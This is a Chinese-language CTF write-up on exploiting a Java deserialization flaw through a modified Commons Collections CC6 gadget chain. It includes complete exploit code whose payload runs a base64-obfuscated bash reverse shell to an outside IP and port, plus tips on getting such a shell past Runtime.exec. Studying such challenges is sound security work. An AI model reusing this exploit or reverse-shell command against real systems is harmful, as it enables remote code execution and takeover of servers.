这两天萌新赛做了一道 java 的 CC 链变种 作为遇见的第一 or 二道 java 题 踩了好多坑 写下来备用

审一下题目的 jar 包 有一个反序列化点 还有一个 transformer 类的子类 应该是仿的 invoketransformer 这个类,cc 链的基础原理就是利用反序列化调用 invoketransformer,通过反射拿到 runtime 类实现 rce

题目给了提示是打 cc6 这条链,是修改的 cc1 在高 java 版本无法使用的替代品

cc 链可以看这里

https://www.cnblogs.com/bitterz/p/15035581.html

对于 cc6 可以看看这个博客

https://www.yulate.com/348.html

对于传统的 cc6 来说 它的利用链是以下这样

java.io.ObjectInputStream.readObject()           
        java.util.HashSet.readObject()               
            java.util.HashMap.put()               
            java.util.HashMap.hash()      
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()    
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()      
                    org.apache.commons.collections.map.LazyMap.get()               
                        org.apache.commons.collections.functors.ChainedTransformer.transform()      
                        org.apache.commons.collections.functors.InvokerTransformer.transform()     
                        java.lang.reflect.Method.invoke()           
                            java.lang.Runtime.exec()

反序列化一个 Hashset 对象,它在 wakeup 时会自动 readobject, 调用其中的 hashmap 的 hash 方法,内部实现是调用其内部对象的 hashcode 方法。在这一步计算 hash 就需要获取 value,由此触发了 lazymap 的 get 方法,Lazymap 调用 chainedtransformer 内部的 invoke,通过反射获取了 runtime 类实现了 rce

但是查看依赖版本 是 cc3.2.2 这个版本已经修了传统的 cc6 利用,是怎么修复的呢?

查一下这个版本的 changelog

Untitled.png

是把几个危险的类 ban 掉 禁止序列化造成 RCE

用 jadx 反编译 jar 包看到源码,这里看到题目中给的 eval 类,是仿的 invoketransformer 类

Untitled.png

又把 serializable 加了回来 是故意的 这样就能再利用这个类打 cc6 链

基于传统的 cc6 链 payload,抄 + 改了一份 exp

这里在配置环境踩了一堆坑 就不用写了 以后也都会了

public class cc {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry key = new TiedMapEntry(decorate, "key");
        HashSet hashSet = new HashSet(1);
        hashSet.add(key);
        decorate.remove("key");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(buffer);
        output.writeObject(hashSet);
        //base64 编码
        String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println(payload);
//        decoserize decoserize = new decoserize();
//        decoserize.decoserize(payload);
    }
}

这里有两个大坑

1. 包名,一定要改的和源文件里的一模一样,要不然反序列化出来他不认的

2. 弹 shell 传统的简单弹法用不了 原理可以看

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

要把经典的语句改成

bash -c {echo,base64过的弹shell语句}|{base64,-d}|{bash,-i}

除此以外就能正常打了 传 base64 记得 url 编码